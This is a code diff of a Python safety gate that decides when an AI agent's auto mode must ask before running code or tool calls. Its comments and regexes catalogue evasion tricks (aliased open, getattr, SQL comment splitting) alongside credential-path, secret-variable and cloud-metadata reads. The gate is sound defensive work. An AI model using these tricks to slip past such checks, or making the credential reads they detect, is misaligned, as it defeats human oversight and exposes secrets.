+        # dynamic / getattr / code-exec poison aliases, which are already gated
+        # where they are *called* and would over-trigger when a benign alias is
+        # merely passed or printed (print(getattr(o, 'name'))).
+        if isinstance(arg, ast.Name):
+            return (
+                arg.id in open_aliases or arg.id in writer_aliases or arg.id in archive_ctor_aliases
+            )
+        if isinstance(arg, ast.Attribute):
+            return (
+                arg.attr == "open"
+                or arg.attr in _AUTO_UNSAFE_PY_ATTRS
+                or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
+                or arg.attr in _ARCHIVE_CTOR_NAMES
+            )
+        return False
+
+    # Names bound more than once cannot be folded to a single literal: this scan
+    # visits every assignment before any call is checked, so a later benign
+    # reassignment (base = '/etc'; open(base + '/passwd'); base = 'data') would
+    # otherwise mask the earlier sensitive value and auto-approve. Count every
+    # binding target up front and poison multiply-bound names to the escape
+    # sentinel so any path folded from them fails closed (asks) instead.
+    assign_counts: "dict[str, int]" = {}
+    for node in ast.walk(tree):
+        binding_targets = []
+        if isinstance(node, ast.Assign):
+            binding_targets = node.targets
+        elif isinstance(node, (ast.AnnAssign, ast.AugAssign)):
+            binding_targets = [node.target]
+        for target in binding_targets:
+            for sub in ast.walk(target):
+                if isinstance(sub, ast.Name):
+                    assign_counts[sub.id] = assign_counts.get(sub.id, 0) + 1
+    multi_assigned_names = {name for name, count in assign_counts.items() if count > 1}
+    for node in ast.walk(tree):
+        if isinstance(node, ast.Import):
+            for alias in node.names:
+                if alias.name == "builtins":
+                    builtins_aliases.add(alias.asname or "builtins")
+                elif alias.name in ("os", "posix"):
+                    os_aliases.add(alias.asname or alias.name)
+                elif alias.name in _AUTO_UNSAFE_PY_LOAD_MODULES:
+                    load_module_aliases.add(alias.asname or alias.name)
+                elif alias.name == "operator":
+                    operator_aliases.add(alias.asname or "operator")
+                elif alias.name == "fileinput":
+                    fileinput_aliases.add(alias.asname or "fileinput")
+        elif isinstance(node, ast.ImportFrom):
+            if node.module == "operator":
+                for alias in node.names:
+                    if alias.name == "methodcaller":
+                        methodcaller_aliases.add(alias.asname or "methodcaller")
+            if node.module == "logging":
+                for alias in node.names:
+                    if alias.name == "basicConfig":
+                        basicconfig_aliases.add(alias.asname or "basicConfig")
+            if node.module == "builtins":
+                for alias in node.names:
+                    if alias.name == "open":
+                        open_aliases.add(alias.asname or "open")
+                    elif alias.name in code_exec_aliases:
+                        code_exec_aliases.add(alias.asname or alias.name)
+            if node.module in _OPEN_ALIAS_MODULES:
+                for alias in node.names:
+                    if alias.name == "open":
+                        # gzip/bz2/lzma open(file, mode) writes on "w"/"a"/"x",
+                        # mode in the 2nd arg like builtin open.
+                        open_aliases.add(alias.asname or "open")
+            if node.module == "pathlib":
+                for alias in node.names:
+                    if alias.name in _PATH_CTORS:
+                        path_ctor_aliases.add(alias.asname or alias.name)
+            if node.module in ("os.path", "posixpath", "ntpath"):
+                for alias in node.names:
+                    if alias.name == "join":
+                        pathjoin_aliases.add(alias.asname or "join")
+            if node.module == "functools":
+                for alias in node.names:
+                    if alias.name == "partial":
+                        partial_aliases.add(alias.asname or "partial")
+            if node.module in _ARCHIVE_CTOR_MODULES:
+                _ctor = _ARCHIVE_CTOR_MODULES[node.module]
+                for alias in node.names:
+                    if alias.name == _ctor:
+                        archive_ctor_aliases.add(alias.asname or _ctor)
+            for alias in node.names:
+                if alias.name in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                    writer_aliases.add(alias.asname or alias.name)
+                # from itertools import starmap as sm / from functools import
+                # reduce as r: an aliased higher-order invoker.
+                if alias.name in _HIGHER_ORDER_INVOKERS:
+                    invoker_aliases.add(alias.asname or alias.name)
+        elif isinstance(node, (ast.Assign, ast.AnnAssign)) and node.value is not None:
+            value = node.value
+            # AnnAssign (f: object = open) has a single target, no destructuring.
+            if isinstance(node, ast.AnnAssign):
+                assign_targets = [node.target]
+            else:
+                assign_targets = node.targets
+            targets = [t.id for t in assign_targets if isinstance(t, ast.Name)]
+            attr_targets = [t.attr for t in assign_targets if isinstance(t, ast.Attribute)]
+            if isinstance(value, ast.Name) and value.id in open_aliases:
+                open_aliases.update(targets)
+                attr_open_aliases.update(attr_targets)  # box.f = open
+            elif isinstance(value, ast.Name) and value.id in getattr_aliases:
+                getattr_aliases.update(targets)  # g = getattr
+            elif isinstance(value, ast.Name) and value.id in partial_aliases:
+                partial_aliases.update(targets)  # p = partial
+            elif isinstance(value, ast.Name) and value.id in writer_aliases:
+                writer_aliases.update(targets)  # s = save (numpy save alias)
+            elif isinstance(value, ast.Name) and value.id in archive_ctor_aliases:
+                archive_ctor_aliases.update(targets)  # z = ZipFile
+            elif isinstance(value, ast.Name) and value.id in invoker_aliases:
+                invoker_aliases.update(targets)  # m = map
+            elif isinstance(value, ast.Name) and value.id in path_ctor_aliases:
+                path_ctor_aliases.update(targets)  # P = Path
+            elif isinstance(value, ast.Name) and value.id in pathjoin_aliases:
+                pathjoin_aliases.update(targets)  # j = join
+            elif isinstance(value, ast.Attribute) and value.attr == "join":
+                pathjoin_aliases.update(targets)  # j = os.path.join
+            elif isinstance(value, ast.Attribute) and value.attr in _PATH_CTORS:
+                path_ctor_aliases.update(targets)  # P = pathlib.Path
+            elif (
+                isinstance(value, ast.Attribute)
+                and value.attr == "open"
+                and isinstance(value.value, ast.Name)
+                and value.value.id in builtins_aliases
+            ):
+                open_aliases.update(targets)  # f = builtins.open
+            elif (
+                isinstance(value, ast.Attribute)
+                and value.attr in code_exec_aliases
+                and isinstance(value.value, ast.Name)
+                and value.value.id in builtins_aliases
+            ):
+                code_exec_aliases.update(targets)  # e = builtins.eval
+            elif isinstance(value, ast.Attribute) and value.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                writer_aliases.update(targets)  # s = np.save
+            elif isinstance(value, ast.Attribute) and value.attr == "open":
+                # A captured .open bound method (p = Path('out').open) opens a file
+                # on any call; its mode position varies (Path.open mode is 1st arg,
+                # builtin open's is 2nd), so fail closed on the call rather than
+                # guess the write mode.
+                dynamic_aliases.update(targets)  # p = Path('out').open; p('w')
+            elif isinstance(value, ast.Attribute) and value.attr in _ARCHIVE_CTOR_NAMES:
+                archive_ctor_aliases.update(targets)  # z = zipfile.ZipFile
+            elif isinstance(value, ast.Subscript):
+                dynamic_aliases.update(targets)  # f = globals()["open"]
+            elif (
+                isinstance(value, ast.Call)
+                and isinstance(value.func, ast.Name)
+                and value.func.id in getattr_aliases
+            ):
+                dynamic_aliases.update(targets)  # rm = getattr(os, "remove") / g(...)
+            elif (
+                isinstance(value, ast.Call)
+                and isinstance(value.func, ast.Attribute)
+                and value.func.attr in ("get", "pop", "setdefault")
+                and _is_dynamic_namespace(value.func.value)
+            ):
+                # f = __builtins__.__dict__.get("open") / globals().get("open"):
+                # a namespace lookup can return open/eval, so poison like getattr.
+                dynamic_aliases.update(targets)
+            elif (
+                isinstance(value, ast.Call)
+                and (
+                    (isinstance(value.func, ast.Name) and value.func.id in partial_aliases)
+                    or (isinstance(value.func, ast.Attribute) and value.func.attr == "partial")
+                )
+                and value.args
+                and _wraps_write_callable(value.args[0])
+            ):
+                dynamic_aliases.update(targets)  # w = partial(open, mode="w")
+            elif (
+                isinstance(value, ast.Call)
+                and (
+                    (isinstance(value.func, ast.Name) and value.func.id in methodcaller_aliases)
+                    or (
+                        isinstance(value.func, ast.Attribute)
+                        and value.func.attr == "methodcaller"
+                        and isinstance(value.func.value, ast.Name)
+                        and value.func.value.id in operator_aliases
+                    )
+                )
+                and _methodcaller_writes(value)
+            ):
+                dynamic_aliases.update(targets)  # w = methodcaller("write_text", ...)
+            elif isinstance(value, ast.Constant) and isinstance(value.value, str):
+                # base = '/etc' -> resolve base in a later folded path. A name
+                # bound more than once is poisoned (\x02) so it fails closed.
+                for t in targets:
+                    literal_str_vars[t] = "\x02" if t in multi_assigned_names else value.value
+            elif isinstance(value, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
+                # p = Path('/etc'); q = p; r = os.path.join('/etc','x'): record a
+                # fully-literal folded path so a later reuse (p / 'passwd') folds.
+                folded = _folded_path(value, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+                if folded is not None and "\x00" not in folded and "\x02" not in folded:
+                    for t in targets:
+                        literal_str_vars[t] = "\x02" if t in multi_assigned_names else folded
+            elif isinstance(value, (ast.Tuple, ast.List)):
+                # Destructuring binds each element like a single assignment, so an
+                # aliased callable (f, _ = (open, print)) AND a string / path
+                # literal (base, leaf = ('/etc', 'passwd')) both propagate; without
+                # the latter a path folded from base/leaf would miss the sensitive
+                # target and auto-approve.
+                for target in assign_targets:
+                    if isinstance(target, (ast.Tuple, ast.List)) and len(target.elts) == len(
+                        value.elts
+                    ):
+                        for tgt_el, val_el in zip(target.elts, value.elts):
+                            if not isinstance(tgt_el, ast.Name):
+                                continue
+                            tid = tgt_el.id
+                            if isinstance(val_el, ast.Name) and val_el.id in open_aliases:
+                                open_aliases.add(tid)
+                            elif isinstance(val_el, ast.Name) and val_el.id in getattr_aliases:
+                                getattr_aliases.add(tid)
+                            elif isinstance(val_el, ast.Name) and val_el.id in partial_aliases:
+                                partial_aliases.add(tid)
+                            elif isinstance(val_el, ast.Name) and val_el.id in writer_aliases:
+                                writer_aliases.add(tid)  # s, _ = (save, 1)
+                            elif isinstance(val_el, ast.Name) and val_el.id in archive_ctor_aliases:
+                                archive_ctor_aliases.add(tid)  # z, _ = (ZipFile, 1)
+                            elif isinstance(val_el, ast.Constant) and isinstance(val_el.value, str):
+                                literal_str_vars[tid] = (
+                                    "\x02" if tid in multi_assigned_names else val_el.value
+                                )
+                            elif isinstance(val_el, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
+                                folded = _folded_path(
+                                    val_el, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+                                )
+                                if (
+                                    folded is not None
+                                    and "\x00" not in folded
+                                    and "\x02" not in folded
+                                ):
+                                    literal_str_vars[tid] = (
+                                        "\x02" if tid in multi_assigned_names else folded
+                                    )
+        elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)):
+            # A callable captured as a parameter default (def f(o=open): o('x','w'))
+            # binds that parameter to the same alias set, so a later call through
+            # the parameter is still gated. defaults align to the tail of
+            # posonlyargs+args; kw_defaults align 1:1 with kwonlyargs (None = none).
+            _a = node.args
+            _defaulted = list(
+                zip(
+                    (_a.posonlyargs + _a.args)[
+                        len(_a.posonlyargs) + len(_a.args) - len(_a.defaults) :
+                    ],
+                    _a.defaults,
+                )
+            ) + [(p, d) for p, d in zip(_a.kwonlyargs, _a.kw_defaults) if d is not None]
+            for _param, _default in _defaulted:
+                if isinstance(_default, ast.Name):
+                    _did = _default.id
+                    if _did in open_aliases:
+                        open_aliases.add(_param.arg)
+                    elif _did in writer_aliases:
+                        writer_aliases.add(_param.arg)
+                    elif _did in archive_ctor_aliases:
+                        archive_ctor_aliases.add(_param.arg)
+                    elif _did in getattr_aliases:
+                        getattr_aliases.add(_param.arg)
+                    elif _did in partial_aliases:
+                        partial_aliases.add(_param.arg)
+                    elif _did in code_exec_aliases:
+                        code_exec_aliases.add(_param.arg)
+                    elif _did in dynamic_aliases:
+                        dynamic_aliases.add(_param.arg)
+                elif isinstance(_default, ast.Attribute):
+                    # An attribute writer / archive ctor / captured .open used as
+                    # a default (def f(s=np.save), def f(z=zipfile.ZipFile),
+                    # def f(o=Path('x').open)) binds the parameter like the
+                    # equivalent assignment; a benign attribute (np.mean) does not.
+                    if _default.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                        writer_aliases.add(_param.arg)
+                    elif _default.attr in _ARCHIVE_CTOR_NAMES:
+                        archive_ctor_aliases.add(_param.arg)
+                    elif _default.attr == "open":
+                        dynamic_aliases.add(_param.arg)
+                elif (
+                    isinstance(_default, ast.Call)
+                    and (
+                        (
+                            isinstance(_default.func, ast.Name)
+                            and _default.func.id in partial_aliases
+                        )
+                        or (
+                            isinstance(_default.func, ast.Attribute)
+                            and _default.func.attr == "partial"
+                        )
+                    )
+                    and _default.args
+                    and _wraps_write_callable(_default.args[0])
+                ):
+                    dynamic_aliases.add(_param.arg)  # def f(w=partial(open, mode="w"))
+    try:
+        for node in ast.walk(tree):
+            if isinstance(node, ast.Import):
+                for alias in node.names:
+                    if alias.name.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
+                        return True
+            elif isinstance(node, ast.ImportFrom):
+                if node.module and node.module.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
+                    return True
+                # from-imports can bind mutating callables to bare names
+                # (from os import remove [as rm]); star imports hide anything.
+                for alias in node.names:
+                    if alias.name == "*" or alias.name in _AUTO_UNSAFE_PY_ATTRS:
+                        return True
+                    # os.open imported as a bare callable is a low-level
+                    # create/write, like the os.open attribute call below.
+                    if alias.name == "open" and node.module in ("os", "posix"):
+                        return True
+            elif isinstance(node, ast.Attribute):
+                # Any reference to a mutating attribute fails closed, even
+                # without an immediate call (rm = os.remove; rm("x")).
+                if node.attr in _AUTO_UNSAFE_PY_ATTRS:
+                    return True
+                # builtins.exec / builtins.eval / builtins.__import__ (and
+                # compile/breakpoint) are dynamic code execution, matching the
+                # bare-name code_exec_aliases path; __builtins__.__import__(...)
+                # is a dynamic import that dodges the static import check.
+                if (
+                    node.attr in ("exec", "eval", "__import__", "breakpoint", "compile")
+                    and isinstance(node.value, ast.Name)
+                    and node.value.id in builtins_aliases
+                ):
+                    return True
+            elif isinstance(node, ast.Name):
+                if node.id in code_exec_aliases:
+                    return True
+            elif isinstance(node, ast.Constant):
+                # Credential paths / parent traversal in a string or bytes
+                # literal (open('/etc/passwd') and open(b'/etc/passwd')), or a
+                # glob that resolves to one (glob.glob('/e??/passwd')).
+                val = node.value
+                if isinstance(val, bytes):
+                    val = val.decode("latin-1", "ignore")
+                if isinstance(val, str) and (
+                    _references_sensitive_path(val) or _glob_token_sensitive(val)
+                ):
+                    return True
+            elif isinstance(node, (ast.BinOp, ast.JoinedStr)):
+                # A sensitive path concatenated from literals ('/etc'+'/passwd'),
+                # a pathlib / chain, an f-string (f'/proc/{pid}/environ'), a
+                # dynamic segment under a sensitive dir (f'/etc/{name}'), or one
+                # split through a literal variable (base = '/etc'; base+'/passwd').
+                if _folded_is_sensitive(
+                    _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+                ):
+                    return True
+            elif isinstance(node, ast.Call):
+                # A sensitive path composed via os.path.join('/etc', name).
+                if _folded_is_sensitive(
+                    _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+                ):
+                    return True
+                func = node.func
+                # x.__call__(args) is just x(args): unwrap so open.__call__('o',
+                # 'w') / save.__call__(...) reach the open/writer checks below
+                # instead of looking like a harmless ".__call__" attribute call.
+                if isinstance(func, ast.Attribute) and func.attr == "__call__":
+                    func = func.value
+                if isinstance(func, (ast.Call, ast.Subscript)):
+                    return True  # calling a call/subscript result is dynamic
+                # A concrete write callable (open/writer/archive-ctor alias, or a
+                # writer/mutating attribute) handed as an argument to any call
+                # escapes into a helper that can invoke it without a direct
+                # open()/writer site -- the same bypass the map/starmap/reduce
+                # branches below gate, but through a user-defined helper
+                # (def run(fn): fn('o','w').write('x'); run(open)). A benign
+                # callable argument (run(len)) is unaffected.
+                if any(_passed_write_callable(a) for a in node.args) or any(
+                    _passed_write_callable(kw.value) for kw in node.keywords
+                ):
+                    return True
+                if isinstance(func, ast.Name):
+                    if func.id in dynamic_aliases:
+                        return True  # call through a getattr alias is dynamic
+                    if func.id in open_aliases and _builtin_open_writes(node):
+                        return True
+                    # A writer imported as a bare name (from numpy import save).
+                    if func.id in writer_aliases:
+                        return True
+                    # A bare archive constructor (from zipfile import ZipFile)
+                    # takes the mode as its 2nd arg like open, so ZipFile(x, "w")
+                    # writes but ZipFile(x) reads.
+                    if func.id in archive_ctor_aliases and _builtin_open_writes(node):
+                        return True
+                    # A bare-imported logging.basicConfig(filename=...) opens a
+                    # log file for writing (from logging import basicConfig).
+                    if func.id in basicconfig_aliases and _basicconfig_writes(node):
+                        return True
+                    # A writer/open alias handed to a higher-order invoker
+                    # (map(open, names, modes), starmap(np.save, ...), or an
+                    # aliased m = map / sm = starmap) is called without a direct
+                    # open(...)/save(...) site; the callable is the first
+                    # positional arg. A benign map(len, ...) is unaffected.
+                    if (
+                        func.id in invoker_aliases
+                        and node.args
+                        and _wraps_write_callable(node.args[0])
+                    ):
+                        return True
+                elif isinstance(func, ast.Attribute):
+                    # Writer methods persist to disk without open() (np.save,
+                    # img.save, plt.savefig, df.to_csv, json.dump); ask before
+                    # they mutate the workdir in auto mode.
+                    if func.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                        return True
+                    # logging.basicConfig(filename=...) opens a log file for write.
+                    if func.attr == "basicConfig" and _basicconfig_writes(node):
+                        return True
+                    # A qualified higher-order invoker (itertools.starmap(open, ...),
+                    # functools.reduce(open, ...)) calls its first arg like the bare
+                    # map/filter form; the writer-check on that arg keeps a benign
+                    # itertools.starmap(len, ...) / df.map(transform) safe.
+                    if (
+                        func.attr in _HIGHER_ORDER_INVOKERS
+                        and node.args
+                        and _wraps_write_callable(node.args[0])
+                    ):
+                        return True
+                    # fileinput.input(..., inplace=True) rewrites a file in place;
+                    # the default fileinput.input(...) only reads, so gate inplace.
+                    if (
+                        func.attr == "input"
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in fileinput_aliases
+                        and _fileinput_inplace(node)
+                    ):
+                        return True
+                    # os.open() always creates/writes a file descriptor
+                    # (tracked through import aliases: import os as o; o.open()).
+                    if (
+                        func.attr == "open"
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in os_aliases
+                    ):
+                        return True
+                    # A pickle-backed loader (torch.load, joblib.load) can execute
+                    # code embedded in the file it deserializes.
+                    if (
+                        func.attr == "load"
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in load_module_aliases
+                    ):
+                        return True
+                    if func.attr == "open" and _attr_open_writes(node):
+                        return True
+                    # An open bound onto an attribute (box.f = open; box.f('o','w'))
+                    # writes on 'w'/'a'/'x' like the builtin, so gate the attr name.
+                    if func.attr in attr_open_aliases and _builtin_open_writes(node):
+                        return True
+                    # ZipFile/TarFile/GzipFile/BZ2File/LZMAFile take the mode as
+                    # the 2nd arg (like builtin open), so ZipFile(name, "w") writes
+                    # but ZipFile(name) reads.
+                    if func.attr in _ARCHIVE_CTOR_NAMES and _builtin_open_writes(node):
+                        return True
+                    # Enumerating a directory outside the sandbox reads host
+                    # filenames (and enables reading their contents) the direct
+                    # /etc/passwd checks would prompt for: Path('/etc').iterdir(),
+                    # os.scandir('/etc'), os.listdir('/home'), os.walk('/'),
+                    # Path('/home').glob('*'), glob.glob('/home/*'). Gate when the
+                    # target dir folds to an absolute/tilde/sensitive path; a
+                    # relative dir (Path('.').iterdir(), glob.glob('src/*')) stays
+                    # safe, and an unresolved dynamic dir is left to other checks.
+                    _enum_dir = None
+                    if func.attr == "iterdir":
+                        _enum_dir = func.value
+                    elif func.attr in ("glob", "rglob", "iglob"):
+                        # Path('/home').glob('*') enumerates the receiver dir;
+                        # glob.glob('/home/*') enumerates the pattern's root dir.
+                        _recv = _folded_path(
+                            func.value, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+                        )
+                        if isinstance(_recv, str) and _recv not in ("", "\x00"):
+                            _enum_dir = func.value
+                        elif node.args:
+                            _enum_dir = node.args[0]
+                    elif (
+                        func.attr in ("scandir", "listdir", "walk")
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in os_aliases
+                        and node.args
+                    ):
+                        _enum_dir = node.args[0]
+                    if _enum_dir is not None:
+                        _folded_dir = _folded_path(
+                            _enum_dir, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+                        )
+                        if isinstance(_folded_dir, str) and (
+                            _folded_dir.startswith("/")
+                            or _folded_dir.startswith("~")
+                            or _folded_is_sensitive(_folded_dir)
+                        ):
+                            return True
+    except Exception:
+        return True  # unexpected AST shape: fail closed
+    return False
+
+
+# Cloud-metadata / link-local hosts (mirrors the sandbox SSRF blocklist): a
+# read-named HTTP MCP tool pointed at one (fetch_url
+# {"url": "http://169.254.169.254/..."}) reads instance credentials, so it asks.
+_MCP_METADATA_HOST_RE = re.compile(
+    r"169\.254\.\d{1,3}\.\d{1,3}|"
+    r"100\.100\.100\.\d{1,3}|"
+    r"fd00:ec2::254|"
+    r"metadata\.google\.internal|"
+    r"metadata\.tencentyun\.com|"
+    r"://metadata(?=[:/])",
+    re.IGNORECASE,
+)
+
+
+def _mcp_arguments_reference_sensitive(arguments) -> bool:
+    """True if any string in an MCP call's arguments names a credential path, a
+    credential/secret environment variable (get_env {"name": "OPENAI_API_KEY"}),
+    or a cloud-metadata host (fetch_url {"url": "http://169.254.169.254/..."})."""
+
+    def walk(value) -> bool:
+        if isinstance(value, str):
+            return (
+                _references_sensitive_path(value)
+                or bool(_AUTO_SENSITIVE_MCP_NOUN_RE.search(value))
+                or bool(_MCP_METADATA_HOST_RE.search(value))
+            )
+        if isinstance(value, dict):
+            return any(walk(v) for v in value.values())
+        if isinstance(value, (list, tuple)):
+            return any(walk(v) for v in value)
+        return False
+
+    return walk(arguments)
+
+
+# DDL object types CREATE / DROP / ALTER share (DROP FUNCTION and ALTER INDEX
+# mutate just like CREATE INDEX).
+_SQL_DDL_OBJECTS = (
+    r"table|database|schema|index|view|function|procedure|trigger|"
+    r"sequence|role|user|extension|type|domain|aggregate|policy"
+)
+# Modifiers between the DDL verb and object (CREATE OR REPLACE VIEW, DROP
+# MATERIALIZED VIEW, CREATE UNIQUE INDEX).
+_SQL_DDL_MODIFIERS = (
+    r"(?:(?:or\s+replace|unique|temp|temporary|global|local|materialized|recursive)\s+)*"
+)
+# A SQL identifier (bare, "quoted", `quoted`, [bracketed]), optionally
+# schema-qualified, so UPDATE "users"/public.users/ONLY .../[users] SET all hit.
+_SQL_IDENT = r'(?:\w+|"(?:[^"]|"")*"|`(?:[^`]|``)*`|\[[^\]]+\])'
+_SQL_UPDATE_TARGET = r"(?:only\s+)?" + _SQL_IDENT + r"(?:\s*\.\s*" + _SQL_IDENT + r")*"
+# A read-named MCP tool (query_database, run_query) can still carry a mutating
+# SQL statement; match DML/DDL as whole statements (DELETE FROM, DROP TABLE) so
+# a natural-language query that merely contains the word "delete" stays safe.
+_MCP_ARG_MUTATION_RE = re.compile(
+    r"\b(?:delete\s+from|"
+    r"drop\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+    # Match the whole identifier (the outer trailing \b needs the alternative to
+    # end on a word boundary, so a bare \w stops mid-name and TRUNCATE users slips
+    # through); the optional opening quote/bracket/backtick covers "users"/[users].
+    r"truncate\s+(?:table\s+)?[\"\[`]?\w+|"
+    # UPDATE <target> [AS alias] SET: allow an explicit AS alias before SET so
+    # UPDATE users AS u SET is caught, not just the bare form. The implicit-alias
+    # form (UPDATE users u SET) is left out because it is indistinguishable from
+    # the prose "update <noun> <noun> set" and would flag natural language.
+    r"update\s+" + _SQL_UPDATE_TARGET + r"(?:\s+as\s+" + _SQL_IDENT + r")?\s+set\b|"
+    r"insert\s+into|replace\s+into|"
+    # SELECT ... INTO OUTFILE/DUMPFILE writes a file (MySQL); bare SELECT INTO
+    # <table> is left out (PL/pgSQL uses it to read into a variable).
+    r"select\s+[^;]*?\binto\s+(?:outfile|dumpfile)\b|"
+    # ALTER SYSTEM persists PostgreSQL server configuration; SYSTEM is not one of
+    # the DDL objects above, so match it explicitly.
+    r"alter\s+system\b|"
+    r"alter\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+    r"create\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+    r"grant\s+\w+|revoke\s+\w+|merge\s+into|"
+    # Catalog mutations: COMMENT ON <obj>, SECURITY LABEL, and LOCK TABLE change
+    # metadata or take a lock. Each needs a following keyword, so a "comment"
+    # column (SELECT comment FROM t) or "locks" table stays safe.
+    r"comment\s+on\b|security\s+label\b|lock\s+table\b|"
+    # PostgreSQL maintenance writes: REFRESH MATERIALIZED VIEW rewrites the view,
+    # REINDEX rebuilds an index. Both need a following object keyword/name, so a
+    # column or word "refresh"/"reindex" in prose stays safe.
+    r"refresh\s+materialized\s+view|reindex\s+\w+|"
+    # CALL proc(...) / EXEC[UTE] name / VACUUM mutate; CALL needs a following
+    # "(", ";", or end so natural-language "call me back" stays safe.
+    r"call\s+\w+(?=\s*[(;]|\s*$)|exec(?:ute)?\s+\w+|vacuum|"
+    # COPY ... FROM bulk-loads and COPY ... TO writes a file ([^;] stays in one
+    # statement).
+    r"copy\s+[^;]*?\b(?:from|to)\b)\b",
+    re.IGNORECASE,
+)
+# SQLite statements the base regex misses: ATTACH/DETACH a database (DATABASE
+# optional via the quoted-path form), a write-form PRAGMA (name=value / name(...),
+# unlike the read-form PRAGMA name), and load_extension() which runs a shared
+# library. These tokens are not natural language, so benign text does not trip.
+_MCP_ARG_SQLITE_MUTATION_RE = re.compile(
+    r"\b(?:attach|detach)\s+database\b"
+    r"|\battach\s+(?:database\s+)?['\"]"
+    r"|\bpragma\s+\w+(?:\.\w+)?\s*(?:=|\()"
+    r"|\bload_extension\s*\(",
+    re.IGNORECASE,
+)
+# State-changing SQL functions that mutate or write files inside a read-shaped
+# SELECT (pg_terminate_backend, setval, pg_write_file, lo_export, ...). The
+# trailing "(" is required, so a column named setval_count stays safe.
+_MCP_ARG_SQL_FUNCTION_RE = re.compile(
+    r"\b(?:pg_terminate_backend|pg_cancel_backend|pg_write_file|lo_export|"
+    r"lo_import|setval|nextval|set_config|pg_notify|dblink_exec|pg_reload_conf|"
+    r"pg_rotate_logfile|"
+    # advisory locks change session/transaction lock state (read-shaped SELECT).
+    r"pg_advisory_(?:lock|lock_shared|unlock|unlock_shared|unlock_all|"
+    r"xact_lock|xact_lock_shared)|"
+    r"pg_try_advisory_(?:lock|lock_shared|xact_lock|xact_lock_shared))\s*\(",
+    re.IGNORECASE,
+)
+# SQL engines treat /* */ and -- comments as whitespace, so DELETE/**/FROM and
+# UPDATE/**/users evade the \s+ in the mutation regex; collapse comments to a
+# space before matching.
+_SQL_COMMENT_RE = re.compile(r"/\*.*?\*/|--[^\n]*", re.DOTALL)
+# A GraphQL mutation on a read-named tool. Directives are valid between the name
+# and body (mutation M @audit { ... }), so allow @directive[(args)] before ( or {.
+_GRAPHQL_MUTATION_RE = re.compile(
+    r"\bmutation\b\s*\w*\s*(?:@\w+(?:\s*\([^)]*\))?\s*)*[({]", re.IGNORECASE
+)
+# GraphQL # comments run to end-of-line and count as whitespace, so a comment
+# between `mutation` and the body (mutation # note\n { ... }) would otherwise
+# hide it; collapse them to a space before matching.
+_GRAPHQL_COMMENT_RE = re.compile(r"#[^\n]*")
+
+
+# HTTP verbs that mutate the target resource; a generic HTTP MCP tool
+# (mcp__http__get_url {"method": "DELETE"}) mutates an external service even
+# though its name looks read-only. GET/HEAD/OPTIONS/TRACE only read.
+_MUTATING_HTTP_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"})
+_HTTP_METHOD_KEYS = frozenset({"method", "http_method", "httpmethod", "verb", "http_verb"})
+
+
+def _mcp_arguments_mutate(arguments) -> bool:
+    """True if an MCP call's arguments carry a mutating command, so a read-named
+    but write-capable tool (query_database {"query": "DELETE FROM runs"},
+    query_graphql {"query": "mutation { deleteIssue(id: 1) }"}, or an HTTP tool
+    {"method": "DELETE"}) asks."""
+
+    def walk(value) -> bool:
+        if isinstance(value, str):
+            _sql = _SQL_COMMENT_RE.sub(" ", value)
+            return (
+                bool(_MCP_ARG_MUTATION_RE.search(_sql))
+                or bool(_MCP_ARG_SQLITE_MUTATION_RE.search(_sql))
+                or bool(_MCP_ARG_SQL_FUNCTION_RE.search(_sql))
+                or bool(_GRAPHQL_MUTATION_RE.search(_GRAPHQL_COMMENT_RE.sub(" ", value)))
+            )
+        if isinstance(value, dict):
+            for k, v in value.items():
+                if (
+                    isinstance(k, str)
+                    and k.lower() in _HTTP_METHOD_KEYS
+                    and isinstance(v, str)
+                    and v.strip().upper() in _MUTATING_HTTP_METHODS
+                ):
+                    return True
+            return any(walk(v) for v in value.values())
+        if isinstance(value, (list, tuple)):
+            return any(walk(v) for v in value)
+        return False
+
+    return walk(arguments)
+
+
+# Tools that are read-only / non state-mutating regardless of their arguments,
+# so auto mode never has to pause them (their safety needs no argument scan).
+# render_html is NOT unconditionally safe: it runs arbitrary HTML/JS in the
+# canvas preview frame. A static canvas (charts, layout, inline SVG) never
+# reaches the network, but code that calls out can exfiltrate or fetch under the
+# preview's CSP when artifact network access is enabled, so those ask; a canvas
+# with no network construct still auto-runs. Matches JS egress APIs, a remote or
+# root-relative <script src>/src=/href=/srcset, a CSS url()/@import that loads a
+# resource, and ws(s) URLs. A leading "/" covers both //host (protocol-relative)
+# and /path (root-relative, which the CSP resolves against the frame origin); a
+# "./x" or bare relative ref and a url(#id)/data: ref are not matched, so an
+# inline-SVG canvas (whose w3.org namespace lives in xmlns=) stays safe.
+_RENDER_HTML_NETWORK_RE = re.compile(
+    r"\bfetch\s*\(|"
+    r"XMLHttpRequest|"
+    r"\bWebSocket\b|"
+    r"\bEventSource\b|"
+    r"\bsendBeacon\b|"
+    r"\bimportScripts\b|"
+    r"navigator\s*\.\s*serviceWorker|"
+    # new Worker(...) / new SharedWorker(...) run a script off the main thread
+    # that this static scan cannot see: a module worker from a CORS-enabled CDN
+    # executes remote code, and a blob/same-origin worker can fetch/importScripts
+    # to egress, all reachable under worker-src http: https: blob:. Gate the
+    # constructor like importScripts/serviceWorker; a var merely named myWorker
+    # (no "new") stays static.
